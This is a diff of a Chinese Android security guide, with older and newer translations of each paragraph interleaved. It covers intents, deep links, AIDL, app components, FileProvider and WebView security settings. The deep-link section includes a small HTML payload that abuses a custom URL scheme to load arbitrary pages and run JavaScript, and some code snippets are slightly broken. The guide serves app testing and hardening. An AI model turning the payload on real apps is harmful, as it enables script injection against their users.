***
|
||||
|
||||
## 意图(Intents)
|
||||
## Intents
|
||||
|
||||
意图(Intents)是Android应用程序在其组件之间或与其他应用程序之间进行通信的主要方式。这些消息对象也可以在应用程序或组件之间传递数据,类似于HTTP通信中使用GET/POST请求的方式。
|
||||
Intents 是 Android 应用程序之间或与其他应用程序通信的主要方式。这些消息对象也可以在应用程序或组件之间传递数据,类似于 HTTP 通信中使用的 GET/POST 请求。
|
||||
|
||||
因此,意图基本上是**在组件之间传递的消息**。意图**可以指定**特定的组件或应用程序,**也可以发送给没有特定接收者的组件**。\
|
||||
简单来说,意图可以用于以下目的:
|
||||
因此,Intent 基本上是在组件之间传递的**消息**。Intents **可以定向**到特定组件或应用程序,**也可以在没有特定接收者的情况下发送**。\
|
||||
简单来说,Intent 可以用于:
|
||||
|
||||
* 启动Activity,通常打开应用程序的用户界面
|
||||
* 作为广播,通知系统和应用程序发生的变化
|
||||
* 启动一个 Activity,通常为应用程序打开用户界面
|
||||
* 作为广播通知系统和应用程序的变化
|
||||
* 启动、停止和与后台服务通信
|
||||
* 通过ContentProviders访问数据
|
||||
* 作为回调来处理事件
|
||||
* 通过 ContentProviders 访问数据
|
||||
* 作为回调处理事件
|
||||
|
||||
不正确的实现可能导致数据泄露、调用受限函数和操纵程序流程。
|
||||
实现不当可能导致数据泄露、受限功能被调用和程序流程被操纵。
|
||||
|
||||
### 意图过滤器(Intent-Filter)
|
||||
### Intent-Filter
|
||||
|
||||
意图过滤器指定了**活动、服务或广播接收器可以响应的意图类型**。它指定了活动或服务可以执行的操作以及接收器可以处理的广播类型。它允许相应的组件接收声明类型的意图。意图过滤器通常是通过AndroidManifest.xml文件**定义的**。对于**广播接收器**,也可以在**编码中定义**。意图过滤器由其类别、操作和数据过滤器定义。它还可以包含其他元数据。
|
||||
Intent Filter 指定活动、服务或广播接收器可以响应的**Intent 类型**。它指定活动或服务可以做什么以及接收器可以处理的广播类型。它允许相应的组件接收声明类型的 Intents。Intent Filters 通常**通过 AndroidManifest.xml 文件定义**。对于**广播接收器**,也可以在**编码中定义**。Intent Filter 由其类别、动作和数据过滤器定义。它还可以包含额外的元数据。
|
||||
|
||||
在Android中,当**`exported`**设置为**`true`**时,活动/服务/内容提供程序/广播接收器是**公开的**,但是如果**清单文件为其指定了意图过滤器**,则组件也是**公开的**。然而,\
|
||||
开发人员可以通过在清单文件中为每个组件将**`exported`**属性设置为**`false`**,**显式地将组件设置为私有**(无论是否存在任何意图过滤器)。\
|
||||
开发人员还可以通过设置**`permission`**属性来**要求特定权限来访问**组件,从而限制对组件的访问。
|
||||
### 隐式意图
|
||||
在 Android 中,当**`exported`** 设置为 **`true`** 时,活动/服务/内容提供者/广播接收器是**公开的**,但如果**清单为其指定了 Intent filter**,组件**也是公开的**。然而,\
|
||||
开发人员可以**明确地将组件设为私有**(不管任何 intent filters)\
|
||||
通过在清单文件中为每个组件设置 \*\* `exported` 属性为 `false`\*\*。\
|
||||
开发人员还可以设置**`permission`** 属性来**要求特定权限以访问**组件,从而限制对组件的访问。
|
||||
|
||||
意图是通过使用意图构造函数在程序中创建的:
|
||||
### 隐式 Intents
|
||||
|
||||
Intents 是使用 Intent 构造函数在程序中创建的:
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
之前声明的意图的**Action**是**ACTION\_SEND**,**Extra**是一个mailto **Uri**(Extra是意图期望的额外信息)。
|
||||
```markdown
|
||||
**动作**是之前声明的意图是 **ACTION\_SEND**,而**额外数据**是一个mailto **Uri**(额外数据是意图期望的额外信息)。
|
||||
|
||||
这个意图应该在清单文件中声明,如下面的示例所示:
|
||||
此意图应在清单中声明,如下例所示:
|
||||
```
|
||||
```markup
|
||||
<activity android:name="ShareActivity">
|
||||
<intent-filter>
|
||||
|
@ -172,99 +180,102 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
一个intent-filter需要匹配**action**、**data**和**category**才能接收到消息。
|
||||
一个intent-filter需要匹配**动作**、**数据**和**类别**来接收消息。
|
||||
|
||||
"Intent resolution"过程确定了哪个应用程序应该接收每个消息。这个过程考虑了**priority属性**,它可以在**intent-filter声明**中设置,**优先级较高的将被选择**。这个优先级可以在-1000到1000之间设置,并且应用程序可以使用`SYSTEM_HIGH_PRIORITY`值。如果出现**冲突**,会出现一个"选择器"窗口,让**用户决定**。
|
||||
"Intent解析"过程决定哪个应用应该接收每个消息。这个过程考虑了**优先级属性**,可以在**intent-filter声明**中设置,**优先级较高的将被选中**。这个优先级可以设置在-1000到1000之间,应用程序可以使用`SYSTEM_HIGH_PRIORITY`值。如果出现**冲突**,会出现一个"选择器"窗口,以便**用户可以决定**。
|
||||
|
||||
### 显式Intent
|
||||
### 显式Intents
|
||||
|
||||
显式Intent指定了它所针对的类名:
|
||||
一个显式intent指定了它目标的类名:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
在其他应用程序中,为了访问先前声明的意图,您可以使用:
|
||||
在其他应用程序中,为了访问之前声明的intent,你可以使用:
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
context.startService(intent);
|
||||
```
|
||||
### Pending Intents
|
||||
### 待处理的意图
|
||||
|
||||
这些允许其他应用程序代表您的应用程序执行操作,使用您的应用程序的身份和权限。构建一个Pending Intent时,应指定一个意图和要执行的操作。如果声明的意图不是明确的(没有声明哪个意图可以调用它),恶意应用程序可以代表受害者应用程序执行声明的操作。此外,如果未指定操作,恶意应用程序将能够代表受害者执行任何操作。
|
||||
这些允许其他应用程序**代表您的应用程序采取行动**,使用您的应用程序的身份和权限。构建一个待处理的意图时,应该**指定一个意图和要执行的动作**。如果**声明的意图不是显式的**(没有声明哪个意图可以调用它),一个**恶意应用程序可能会代表受害者应用程序执行声明的动作**。此外,**如果没有指定动作**,恶意应用程序将能够代表受害者执行**任何动作**。
|
||||
|
||||
### Broadcast Intents
|
||||
### 广播意图
|
||||
|
||||
与之前的意图不同,广播意图可以被多个应用程序接收。然而,从API版本14开始,可以使用Intent.setPackage来指定应该接收消息的应用程序。
|
||||
与前面的意图不同,只被一个应用程序接收,广播意图**可以被多个应用程序接收**。然而,从API版本14开始,**可以指定应该接收消息的应用程序**,使用Intent.set Package。
|
||||
|
||||
另外,发送广播时也可以指定权限。接收器应用程序将需要具有该权限。
|
||||
另外,发送广播时也可以**指定一个权限**。接收应用程序将需要拥有那个权限。
|
||||
|
||||
广播有两种类型:普通(异步)和有序(同步)。顺序基于接收器元素中配置的优先级。每个应用程序可以处理、中继或丢弃广播。
|
||||
有**两种类型**的广播:**普通**(异步)和**有序**(同步)。**顺序**基于**接收器**元素内配置的**优先级**。**每个应用程序可以处理、转发或丢弃广播。**
|
||||
|
||||
可以使用Context类的sendBroadcast(intent, receiverPermission)函数发送广播。您还可以使用LocalBroadCastManager的sendBroadcast函数确保消息永远不会离开应用程序。使用此功能,您甚至不需要导出接收器组件。
|
||||
可以使用`Context`类中的**`sendBroadcast(intent, receiverPermission)`** 函数**发送**一个**广播**。\
|
||||
您还可以使用**`LocalBroadCastManager`** 中的 **`sendBroadcast`** 函数确保**消息永远不会离开应用程序**。使用这个您甚至不需要导出接收器组件。
|
||||
|
||||
### Sticky Broadcasts
|
||||
### 粘性广播
|
||||
|
||||
这种类型的广播可以在发送后很长时间内访问。这些在API级别21中已被弃用,建议不要使用它们。它们允许任何应用程序嗅探数据,但也可以修改数据。
|
||||
这种类型的广播**在发送后很久仍然可以访问**。\
|
||||
它们在API级别21中被弃用,建议**不要使用它们**。\
|
||||
**它们允许任何应用程序嗅探数据,但也可以修改数据。**
|
||||
|
||||
如果您发现包含"sticky"一词的函数,如sendStickyBroadcast或sendStickyBroadcastAsUser,请检查其影响并尝试删除它们。
|
||||
如果您发现包含“sticky”这个词的函数,如**`sendStickyBroadcast`** 或 **`sendStickyBroadcastAsUser`**,**检查影响并尝试移除它们**。
|
||||
|
||||
## Deep links / URL schemes
|
||||
## 深度链接 / URL方案
|
||||
|
||||
深层链接允许通过URL触发意图。应用程序可以在活动中声明一个URL模式,因此每当Android设备尝试使用该模式访问地址时,应用程序的活动将被调用:
|
||||
**深度链接允许通过URL触发一个意图**。一个应用程序可以在活动中声明一个**URL方案**,所以每次Android设备尝试**使用该方案访问地址**时,应用程序的活动将被调用:
|
||||
|
||||
![](<../../.gitbook/assets/image (214).png>)
|
||||
|
||||
在这种情况下,模式是`myapp://`(还注意到`category BROWSABLE`)
|
||||
在这个例子中方案是 `myapp://`(也注意**`category BROWSABLE`**)
|
||||
|
||||
如果在`intent-filter`中找到类似以下内容的内容:
|
||||
如果在`intent-filter`中找到这样的内容:
|
||||
|
||||
![](<../../.gitbook/assets/image (263).png>)
|
||||
|
||||
那么,它期望的是类似`http://www.example.com/gizmos`的东西
|
||||
那么,它期待的是像 `http://www.example.com/gizmos` 这样的内容
|
||||
|
||||
如果找到类似以下内容的内容:
|
||||
如果你找到这样的内容:
|
||||
|
||||
![](<../../.gitbook/assets/image (262).png>)
|
||||
|
||||
这意味着它期望以`example://gizmos`开头的URL\
|
||||
在这种情况下,您可以尝试滥用功能,创建一个包含以下有效负载的网页。它将尝试导航到任意页面并尝试执行JS:
|
||||
这将意味着它期待一个以 `example://gizmos` 开头的URL\
|
||||
在这种情况下,您可以尝试滥用该功能,创建一个带有以下有效载荷的网页。它将尝试导航到任意页面并尝试执行JS:
|
||||
```markup
|
||||
<a href="example://gizmos/https://google.com">click here</a>
|
||||
<a href="example://gizmos/javascript://%250dalert(1)">click here</a>
|
||||
```
|
||||
为了找到在应用程序中执行的代码,转到由深度链接调用的活动,并搜索名为`onNewIntent`的函数。
|
||||
为了找到**将在应用中执行的代码**,请转到被deeplink调用的activity,并搜索函数**`onNewIntent`**。
|
||||
|
||||
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
|
||||
|
||||
了解如何[在不使用HTML页面的情况下调用深度链接](./#exploiting-schemes-deep-links)。
|
||||
学习如何[不使用HTML页面调用深层链接](./#exploiting-schemes-deep-links)。
|
||||
|
||||
## AIDL - Android接口定义语言
|
||||
|
||||
Android接口定义语言(AIDL)允许您定义客户端和服务之间达成一致的编程接口,以便使用进程间通信进行通信。在Android上,一个进程通常无法访问另一个进程的内存。因此,为了进行通信,它们需要将对象分解为操作系统可以理解的基本类型,并在此边界上对对象进行编组。编写执行此编组的代码很繁琐,因此Android使用AIDL来处理。
|
||||
**Android接口定义语言**(AIDL)允许您定义客户端和服务同意的编程接口,以便使用**进程间通信**(IPC)**相互通信**。在Android上,**一个进程通常无法访问另一个进程的内存**。因此,为了通信,它们需要将对象分解为**操作系统**可以理解的原语,并为您跨越那个边界传输对象。编写执行该传输的代码是乏味的,因此Android使用AIDL为您处理这些工作。)
|
||||
|
||||
使用AIDL的服务称为绑定服务。在服务的类中,您将找到`onBind`方法。这是交互开始的地方,因此这是要检查的代码的初始部分,以寻找潜在的漏洞。
|
||||
使用AIDL的服务被称为**绑定服务**。在服务的类中,您会找到**`onBind`**方法。这是**交互开始的地方**,因此它是审查代码寻找潜在漏洞的初始部分。
|
||||
|
||||
绑定服务是客户端-服务器接口中的服务器。它允许组件(如活动)绑定到服务,发送请求,接收响应并执行进程间通信(IPC)。绑定服务通常仅在为另一个应用程序组件提供服务时才存在,并且不会无限期在后台运行。
|
||||
绑定服务是客户端-服务器接口中的服务器。**它允许组件(如活动)绑定到服务,发送请求,接收响应,并执行进程间通信**(IPC)。绑定服务通常只在为另一个应用程序组件服务时存在,并不会无限期地在后台运行。
|
||||
|
||||
### Messenger
|
||||
|
||||
Messenger是另一种IPC机制。由于Messenger也是“绑定服务”,因此从客户端应用程序传递的数据也会通过`onBind`方法进行处理。因此,代码审查应从此方法开始,并查找对敏感功能的调用或对数据的不安全处理。
|
||||
Messenger是另一种IPC机制。由于**Messenger也是“绑定服务”**,因此客户端应用传递的数据也通过`onBind`方法处理。因此,代码审查应从此方法开始,并且您应该寻找对敏感功能的调用或对数据的不安全处理。
|
||||
|
||||
### Binder
|
||||
|
||||
直接调用Binder类很奇怪,因为使用AIDL(抽象了Binder类)更容易。但是,了解Binder是一个在内核级别移动数据从一个进程的内存到另一个进程的驱动程序是很好的。
|
||||
直接调用Binder类是很奇怪的,因为使用AIDL(它抽象了Binder类)要容易得多。但是,了解**Binder是一个内核级驱动程序,它将数据从一个进程的内存移动到另一个进程的内存**([https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8))是有好处的。
|
||||
|
||||
## 组件
|
||||
|
||||
这些包括:活动(Activities)、服务(Services)、广播接收器(Broadcast Receivers)和内容提供者(Providers)。
|
||||
这些包括:**活动,服务,广播接收器和提供者。**
|
||||
|
||||
### 启动器活动和其他活动
|
||||
|
||||
Android活动是Android应用程序用户界面的一个屏幕。在这种方式上,Android活动与桌面应用程序中的窗口非常相似。一个Android应用程序可以包含一个或多个活动,意味着一个或多个屏幕。
|
||||
**Android活动**是**Android**应用用户界面的一个屏幕。这样,**Android活动**与桌面应用程序中的窗口非常相似。一个**Android**应用可能包含一个或多个活动,即一个或多个屏幕。
|
||||
|
||||
启动器活动是大多数人认为是Android应用程序的入口点。启动器活动是当用户点击应用程序图标时启动的活动。您可以通过查看应用程序的清单来确定启动器活动。启动器活动将列出以下MAIN和LAUNCHER意图。
|
||||
**启动器活动**是大多数人认为的Android应用程序的**入口点**。启动器活动是用户点击应用程序图标时启动的活动。您可以通过查看应用程序的清单来确定启动器活动。启动器活动将列出以下MAIN和LAUNCHER意图。
|
||||
|
||||
请记住,并非每个应用程序都会有一个启动器活动,特别是没有UI的应用程序。没有UI的应用程序(因此也没有启动器活动)的示例是在后台执行服务的预安装应用程序,例如语音邮件。
|
||||
请记住,并非每个应用程序都会有启动器活动,特别是没有UI的应用程序。没有UI(因此没有启动器活动)的应用程序示例包括在后台执行服务的预安装应用程序,例如语音邮件。
|
||||
```markup
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
|
@ -273,86 +284,87 @@ Android活动是Android应用程序用户界面的一个屏幕。在这种方式
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
活动可以被导出,允许设备上的其他进程启动该活动。默认情况下,它们不会被导出,但是您可以通过设置来导出它们:
|
||||
Activities 可以被导出,允许设备上的其他进程启动该 activity。默认情况下,它们不会被导出,但你可以通过设置来导出它们:
|
||||
```markup
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
请注意,**绕过活动保护并不总是漏洞**,您需要检查您已获得访问权限的数据。此外,**某些活动会将数据返回给调用者**。在这种情况下,您需要搜索**`setResult`**方法并检查传递给Intent参数的数据。**如果这是敏感数据,您可能存在信息泄露漏洞**,并且可以利用能够与活动通信的应用程序进行利用。
|
||||
请注意,**绕过活动保护并不总是一个漏洞**,您需要检查您获得了哪些数据的访问权限。\
|
||||
此外,**有些活动会向调用者返回数据**。在这些情况下,您需要搜索 **`setResult`** 方法并检查传递给 Intent 参数的数据。**如果是敏感数据,您可能有一个信息泄露漏洞**,并且可以通过能够与活动通信的应用程序来利用它。
|
||||
|
||||
**活动的代码从`onCreate`方法开始**。
|
||||
**一个活动的代码从 `onCreate` 方法开始。**
|
||||
|
||||
### 应用程序子类
|
||||
### 应用子类
|
||||
|
||||
Android应用程序可以定义一个[Application](https://developer.android.com/reference/android/app/Application)的**子类**。应用程序可以定义一个自定义的Application子类,但不一定要这样做。如果Android应用程序定义了一个Application子类,则**此类在应用程序中的任何其他类之前实例化**。
|
||||
Android 应用程序可以定义 [Application](https://developer.android.com/reference/android/app/Application) 的**子类**。应用程序可以定义,也可以不定义 Application 的自定义子类。如果 Android 应用程序定义了 Application 子类,**这个类会在应用程序中的任何其他类之前实例化**。
|
||||
|
||||
如果在Application子类中定义了**`attachBaseContext`**方法,则在**`onCreate`**方法之前调用它。
|
||||
如果在 Application 子类中定义了 **`attachBaseContext`** 方法,它将在 **`onCreate`** 方法之前首先被调用。
|
||||
|
||||
### 服务
|
||||
|
||||
[服务](https://developer.android.com/guide/components/services)在后台运行,没有用户界面。它们用于执行**长时间运行的进程,即使用户开始使用其他应用程序**。
|
||||
[服务](https://developer.android.com/guide/components/services) **在没有用户界面的情况下在后台运行。** 它们用于执行**长时间运行的进程,即使用户开始使用其他应用程序**。
|
||||
|
||||
它们可以通过各种方式启动,因此是应用程序的入口点。启动服务作为应用程序入口点的默认方式是通过**意图(Intents)**。
|
||||
它们可以通过多种方式启动,因此是应用程序的入口点。服务作为应用程序入口点的默认启动方式是通过 **Intents**。
|
||||
|
||||
当调用**`startService`**方法启动服务时,服务中的**`onStart`**方法将被执行。它将无限期运行,直到调用**`stopService`**方法。如果只需要在客户端连接时使用服务,客户端应使用**`bindService`**方法进行“绑定”。
|
||||
当调用 **`startService`** 方法启动服务时,服务中的 **`onStart`** 方法将被执行。它将无限期运行,直到调用 **`stopService`** 方法。如果只有在客户端连接时才需要服务,客户端应该使用 **`bindService`** 方法“绑定”到它。
|
||||
|
||||
对于**绑定服务**(参见前一节),数据将传递给**`onBind`**方法。
|
||||
对于**绑定服务**(见前一节),数据将传递给 **`onBind`** 方法。
|
||||
|
||||
例如,服务可以在用户位于其他应用程序时在后台播放音乐,或者可以在不阻塞与活动的用户交互的情况下从网络获取数据。
|
||||
例如,服务可能在用户使用其他应用程序时在后台播放音乐,或者在不阻塞用户与活动交互的情况下通过网络获取数据。
|
||||
|
||||
**服务可以导出,允许设备上的其他进程启动服务**。默认情况下,服务不会导出,但可以在清单文件中进行配置:
|
||||
**服务可以被导出,允许设备上的其他进程启动服务**。默认情况下服务不会被导出,但可以在 Manifest 中配置:
|
||||
```markup
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
### 广播接收器
|
||||
|
||||
广播可以被看作是一种消息系统,而**广播接收器则是监听器**。如果一个应用程序为特定的广播注册了接收器,当系统发送广播时,接收器中的代码将被执行。需要注意的是,在这种情况下,**多个应用程序可以接收相同的消息**。
|
||||
广播可以被认为是一种消息系统,**广播接收器是监听者**。如果一个应用程序为特定的广播注册了接收器,当系统发送广播时,接收器中的代码就会被执行。注意,在这种情况下**多个应用程序可以接收到相同的消息**。
|
||||
|
||||
有**两种方式**可以**注册接收器**:在应用程序的清单中注册或在应用程序的代码中使用**`registerReceiver`** API调用进行动态注册。在清单中,可以通过在接收器元素中使用权限来限制接受的广播。当动态定义时,可以将权限传递给`registerReceiver`方法。
|
||||
有**两种方式**可以让应用程序**注册接收器**:在**应用程序的Manifest中注册**或在应用程序的代码中使用**`registerReceiver`** API调用**动态注册**。在manifest中,你可以通过在接收器元素内使用权限来限制你接受的广播。当**动态**定义时,你可以**将权限传递给`registerReceiver`方法**。
|
||||
|
||||
在这两种情况下,都需要设置接收器的**意图过滤器**来注册接收器。这些意图过滤器是应该触发接收器的广播。
|
||||
在这两种情况下,为了注册接收器,都需要设置**接收器的意图过滤器**。这些意图过滤器是应该触发接收器的广播。
|
||||
|
||||
当发送接收器注册的特定广播时,将执行BroadcastReceiver类中的**`onReceive`**方法。
|
||||
当注册的接收器的特定广播被发送时,BroadcastReceiver类中的**`onReceive`** 方法会被**执行**。
|
||||
|
||||
例如,应用程序可以为低电量消息注册一个接收器,并根据该信息更改其行为。
|
||||
例如,一个应用程序可能会为低电量消息注册一个接收器,并根据该信息改变其行为。
|
||||
|
||||
广播可以是**异步的**(每个接收器都会接收到它)或**同步的**(广播按照设置的优先级有序接收)。
|
||||
广播可以是**异步的**(每个接收器都接收到它)或**同步的**(根据设置的优先级,广播以有序的方式接收)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
**请注意,任何应用程序都可以将自己设置为接收广播的最高优先级。**
|
||||
**注意,任何应用程序都可以将自己设置为接收广播的最高优先级。**
|
||||
{% endhint %}
|
||||
|
||||
要**检查**广播接收器中实现的**代码**,需要搜索接收器类的**`onReceive`**方法。\
|
||||
需要注意的是,**有序广播可以丢弃接收到的Intent甚至修改它**,使用其中一个setter方法。因此,**接收器应该验证数据**。
|
||||
要**检查**实现在广播接收器中的**代码**,你需要搜索接收器类中的**`onReceive`** 方法。\
|
||||
注意,**有序广播可以丢弃收到的Intent,甚至可以使用其中的一个设置方法对其进行修改**。因此,**接收器应该验证数据**。
|
||||
|
||||
### 内容提供器
|
||||
### 内容提供者
|
||||
|
||||
内容提供器是应用程序共享结构化数据(如关系数据库)的方式。因此,使用**权限**并设置适当的保护级别来保护它们非常重要。\
|
||||
内容提供器可以使用**`readPermission`**和**`writePermission`**属性来指定应用程序必须具有的权限。**这些权限优先于权限属性**。\
|
||||
此外,它们还可以通过将**`grantUriPermission`**设置为true,然后在清单文件中的提供程序元素内配置适当的参数来**允许临时例外**。
|
||||
内容提供者是**应用程序共享结构化数据**的方式,例如关系型数据库。因此,使用**权限**并设置适当的保护级别来保护它们非常重要。\
|
||||
内容提供者可以使用**`readPermission`** 和 **`writePermission`** 属性来指定应用程序必须拥有的权限。**这些权限优先于permission属性**。\
|
||||
此外,它们还可以通过将**`grantUriPermission`** 设置为true,并在manifest文件中的provider元素内配置适当的参数,来**允许临时例外**。
|
||||
|
||||
**`grant-uri-permission`**有三个属性:path、pathPrefix和pathPattern:
|
||||
**`grant-uri-permission`** 有三个属性:path、pathPrefix 和 pathPattern:
|
||||
|
||||
* **path**:允许指定要排除的整个路径
|
||||
* **pathPrefix**:允许指定路径的开头
|
||||
* **pathPattern**:允许使用通配符和符号替换来获得更精细的控制。
|
||||
* **path**:允许指定整个路径以排除
|
||||
* **pathPrefix**:允许指定路径的开始部分
|
||||
* **pathPattern**:允许使用通配符和符号替换来获得更细粒度的控制。
|
||||
|
||||
**重要的是验证和清理接收到的输入**,以避免潜在的漏洞,如SQL注入。
|
||||
**验证和清理接收到的输入非常重要**,以避免潜在的漏洞,如SQL注入。
|
||||
|
||||
**内容提供器的特点:**
|
||||
**内容提供者特点:**
|
||||
|
||||
* 内容提供器组件根据请求从一个应用程序向其他应用程序提供数据。
|
||||
* 您可以将数据存储在文件系统、SQLite数据库、Web上或应用程序可以访问的任何其他持久存储位置中。
|
||||
* 通过内容提供器,其他应用程序可以查询甚至修改数据(如果内容提供器允许)。
|
||||
* 内容提供器在应用程序想要与另一个应用程序共享数据的情况下非常有用。
|
||||
* 内容提供者组件根据请求从一个应用程序向其他应用程序提供数据。
|
||||
* 你可以将数据存储在文件系统、SQLite数据库、网络上,或者你的应用程序可以访问的任何其他持久存储位置。
|
||||
* 通过内容提供者,其他应用程序可以查询甚至修改数据(如果内容提供者允许的话)。
|
||||
* 内容提供者在应用程序想要与另一个应用程序共享数据时非常有用。
|
||||
* 它与数据库非常相似,有四种方法。
|
||||
* insert()
|
||||
* update()
|
||||
* delete()
|
||||
* query()
|
||||
|
||||
**FileProvider**
|
||||
**文件提供者**
|
||||
|
||||
这是一种可以从文件夹中**共享文件**的内容提供器。可以像这样声明一个文件提供器:
|
||||
这是一种内容提供者,它将**共享**来自文件夹的文件。你可以这样声明一个文件提供者:
|
||||
```markup
|
||||
<provider android:name="androidx.core.content.FileProvider"
|
||||
android:authorities="com.example.myapp.fileprovider"
|
||||
|
@ -362,71 +374,72 @@ android:name="android.support.FILE_PROVIDER_PATHS"
|
|||
android:resource="@xml/filepaths" />
|
||||
</provider>
|
||||
```
|
||||
请注意**`android:exported`**属性,如果它的值为**`true`**,外部应用程序将能够访问共享文件夹。\
|
||||
请注意,配置项`android:resource="@xml/filepaths"`表示文件_res/xml/filepaths.xml_包含了**FileProvider**将要共享的**文件夹**的配置。以下是在该文件中指定共享文件夹的示例:
|
||||
注意 **`android:exported`** 属性,因为如果它是 **`true`**,外部应用程序将能够访问共享文件夹。\
|
||||
注意配置 `android:resource="@xml/filepaths"` 表示文件 _res/xml/filepaths.xml_ 包含配置,指出 **FileProvider** 将要**共享**的**哪些文件夹**。这是一个示例,展示如何在该文件中指示共享一个文件夹:
|
||||
```markup
|
||||
<paths>
|
||||
<files-path path="images/" name="myimages" />
|
||||
</paths>
|
||||
```
|
||||
共享像 **`path="."`** 这样的东西可能是**危险的**,即使提供者没有被导出,如果代码的某个部分尝试访问这个提供者时存在其他漏洞。\
|
||||
你可以使用 `content://com.example.myapp.fileprovider/myimages/default_image.jpg` 来访问该文件夹内的一个**图像**。
|
||||
```markdown
|
||||
分享类似 **`path="."`** 的内容即使提供者没有导出,如果代码的其他部分存在尝试访问此提供者的漏洞,也可能是**危险的**。
|
||||
您可以使用 `content://com.example.myapp.fileprovider/myimages/default_image.jpg` **访问**文件夹内的**图片**。
|
||||
|
||||
`<paths>` 元素可以有多个子元素,每个子元素指定一个不同的目录进行共享。除了 **`<files-path>`** 元素外,还可以使用 **`<external-path>`** 元素来共享外部存储中的目录,以及使用 **`<cache-path>`** 元素来共享内部缓存目录中的目录。\
|
||||
[有关特定文件提供者属性的更多信息,请点击此处。](https://developer.android.com/reference/androidx/core/content/FileProvider)
|
||||
`<paths>` 元素可以有多个子元素,每个子元素指定要共享的不同目录。除了 **`<files-path>`** 元素,您还可以使用 **`<external-path>`** 元素共享**外部存储**中的目录,以及 **`<cache-path>`** 元素共享您的**内部缓存目录**中的目录。
|
||||
[有关特定文件提供者属性的更多信息,请点击这里。](https://developer.android.com/reference/androidx/core/content/FileProvider)
|
||||
|
||||
[在此处了解有关文件提供者的更多信息](https://developer.android.com/training/secure-file-sharing/setup-sharing)。
|
||||
[关于FileProviders的更多信息在这里](https://developer.android.com/training/secure-file-sharing/setup-sharing)。
|
||||
|
||||
## WebViews
|
||||
|
||||
WebViews 是嵌入到 Android 应用程序中的**网页浏览器**。\
|
||||
WebViews 的内容可以来自远程站点,也可以是包含在应用程序中的文件。\
|
||||
WebViews 受到影响任何网页浏览器的相同漏洞的**攻击**。但是,有一些**配置**可以用来**限制**攻击**面**。
|
||||
WebViews 实际上是嵌入到 Android 应用中的**网络浏览器**。
|
||||
WebViews 的内容可以从远程站点拉取,也可以是应用中包含的文件。
|
||||
WebViews **容易受到影响任何网络浏览器的同样漏洞**。然而,有一些**配置**可以用来**限制**攻击**面**。
|
||||
|
||||
Android 中有两种类型的 WebViews:
|
||||
|
||||
* **WebViewClient**,最适合简单的 HTML 渲染。它不会运行 JS 的 alert 函数。因此,使用该函数进行 XSS 测试将无效。
|
||||
* **WebViewClient**,最适合简单HTML渲染。这不会运行 JS alert 函数。因此,使用该函数的 XSS 测试将无效。
|
||||
* **WebChrome** **client**,是一个 Chrome 浏览器。
|
||||
|
||||
请注意,**WebView 浏览器无法访问本机浏览器的 cookie**。
|
||||
请注意,**WebView 浏览器无法访问原生浏览器的 cookies**。
|
||||
|
||||
可以使用 **`loadUrl`**、**`loadData`** 或 **`loadDataWithBaseURL`** 函数来加载 URL 或文件。**只能访问经过消毒处理的 URL 是很重要的**。\
|
||||
WebView 的安全性可以通过 **`WebSettings`** 对象进行配置。\
|
||||
例如,可以使用 **`setJavaScriptEnabled`** 方法将 JS 代码执行禁用为 **`false`** 值。这将**消除** XSS 和其他与 JS 相关的漏洞的可能性。
|
||||
要加载 URL 或文件,可以使用 **`loadUrl`**、**`loadData`** 或 **`loadDataWithBaseURL`** 函数。**重要的是只访问经过消毒的 URL。**
|
||||
WebView 安全性可以通过 **`WebSettings`** 对象进行配置。
|
||||
例如,可以使用 **`setJavaScriptEnabled`** 方法并将值设置为 **`false`** 来禁用 JS 代码执行。这将**移除** **XSS** 和其他与 JS 相关的漏洞的可能性。
|
||||
|
||||
JavaScript 的 "**Bridge**" 功能**将 Java 对象注入到 WebView 中,使其可以被 JS 访问**。从 Android 4.2 开始,必须使用 **`@JavascriptInterface`** 进行方法注释,以便 JavaScript 可以访问它们。
|
||||
JavaScript "**Bridge**" 功能**将 Java 对象注入 WebView,使它们可以被 JS 访问**。从 Android 4.2 开始,方法必须用 **`@JavascriptInterface`** 注解才能被 JavaScript 访问。
|
||||
|
||||
如果将 **`true`** 传递给 **`setAllowContentAccess`**,则 WebView 将能够通过 **`content://`** 方案访问内容提供者。这显然会带来安全风险。请注意,如果给予此访问权限,非常重要的是**确保** **`content://`** URL 是**安全的**。
|
||||
如果对 **`setAllowContentAccess`** 传递 **`true`**,**WebViews 将能够通过** **`content://`** 方案访问内容提供者**。这显然构成了安全风险。请注意,如果授予此访问权限,非常重要的是要**确保** **`content://`** URL 是**安全的**。
|
||||
|
||||
默认情况下,WebViews 可以通过 file:// URL 访问本地文件,但有几种方法可以阻止此行为:
|
||||
默认情况下,WebViews 可以通过 file:// URLs 访问本地文件,但有几种方法可以防止这种行为:
|
||||
|
||||
* 将 **`false`** 传递给 **`setAllowFileAccess`**,防止访问文件系统,但允许通过 `file:///android_asset` 和 `file:///android_res` 访问资源。这些路径应仅用于非敏感数据(如图像),因此这应该是安全的。
|
||||
* **`setAllowFileAccess`** 方法指示是否应该允许来自 `file://` URL 的路径能够访问其他文件方案 URL 的内容。
|
||||
* **`setAllowUniversalAccessFromFileURLs`** 方法指示是否应该允许来自 `file://` URL 的路径能够访问任何来源的内容。
|
||||
* 对 **`setAllowFileAccess`** 传递 **`false`**,可以防止访问文件系统,但可以通过 `file:///android_asset` _和_ `file:///android_res` 访问资产。这些路径应仅用于非敏感数据(如图像),因此应该是安全的。
|
||||
* 方法 **`setAllowFileAccess`** 指示是否应允许来自 `file://` URL 的路径访问其他文件方案 URL 的内容。
|
||||
* 方法 **`setAllowUniversalAccessFromFileURLs`** 指示是否应允许来自 `file://` URL 的路径访问任何来源的内容。
|
||||
|
||||
## 其他应用组件
|
||||
|
||||
### **应用程序签名**
|
||||
